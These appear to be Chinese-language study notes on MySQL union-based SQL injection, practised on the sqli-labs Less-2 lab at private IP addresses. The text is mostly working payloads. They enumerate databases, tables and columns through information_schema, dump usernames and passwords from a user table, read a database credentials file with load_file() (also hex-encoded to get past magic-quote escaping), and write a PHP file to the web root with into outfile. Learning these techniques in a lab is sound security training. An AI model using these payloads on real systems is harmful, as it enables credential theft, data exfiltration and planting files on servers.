1.基本命令
http://192.168.248.132/sqli-labs/Less-2/
?id=-1%20union%20select%201,2,3 //寻找注入点
http://192.168.248.132/sqli-labs/Less-2/
?id=-1%20union%20select%201,user(),3 //查询用户名
select * from mysql.user; //查询所有数据库的用户
跨库查询:两网站用同一个数据库,当其中一个网站存在数据库漏洞,会危胁到另外一个网站
select * from schemata; //查询所有的库名
schemata:库名
2.步骤
1.获取所有数据库名:
http://192.168.248.130:86/Less-2/?
id=-1%20union%20select%201,group_concat(schema_name),
3%20from%20information_schema.schemata
2.获取指定5isns数据库名下的表名信息:
http://192.168.248.130:86/Less-2/?
id=-1%20union%20select%201,group_concat(table_name),
3%20from%20information_schema.tables%20where%20
table_schema=%275isns%27
3.获取指定表名5isns_user
下的列名信息:
http://192.168.248.130:86/Less-2/?
id=-1%20union%20select%201,group_concat(column_name),
3%20from%20information_schema.columns%20where%20
table_name=%275isns_user%27
4.获取指定5isns
下的5isns_user
下的列名信息:
http://192.168.248.130:86/Less-2/?
id=-1%20union%20select%201,group_concat(column_name),
3%20from%20information_schema.columns%20where%20
table_name=%275isns_user%27%20and%20table_schema=
%275isns%27
5.查询指定数据
http://192.168.248.130:86/Less-2/?
id=-1%20union%20select%201,username,password
%20from%205isns.5isns_user
3.跨库查询记得指定数据库
二、文件读写操作
路径获取常见方法:
load_file()
:读取函数
代码:select load_file('c:/54.txt');
http://192.168.248.132/sqli-labs/Less-2/?
id=-1 union select 1,load_file('C:\\phpStudy\\WWW\\
sqli-labs\\sql-connections\\db-creds.inc'),3
into outfile
或 into dumpfile
:导出函数
代码:select 'x' into outfile 'c:/www.txt';
http://192.168.248.132/sqli-labs/Less-2/?id=-1 unionselect 1,'x',3 into outfile 'C:\\phpStudy\\WWW\\sqli-labs\\x.php'--+
可以通过SQL注入漏洞load_file()读取函数,来获取flag。
百度搜索:常见load_file
读取文件路径
三、报错显示、遗留文件(inurl:phpinfo.php
)、漏洞报错(zblog
爆路径)、平台配置文件、爆破等。
四、常见写入文件问题:魔术引号开关
魔术引号:对输入数据中的特殊字符进行转义
编码:HEX
http://192.168.248.132/sqli-labs/Less-2/?id=-1 unionselect 1,load_file(0x27433A5C5C70687053747564795C5C5757575C5C73716C692D6C6162735C5C73716C2D636F6E6E656374696F6E735C5C64622D63726564732E696E6327),3
内置函数:int
等
自定义关键字
WAF
防护软件:其实就是关键字过滤
学技术重要的是学习方法
sqlmap
是用字典跑出来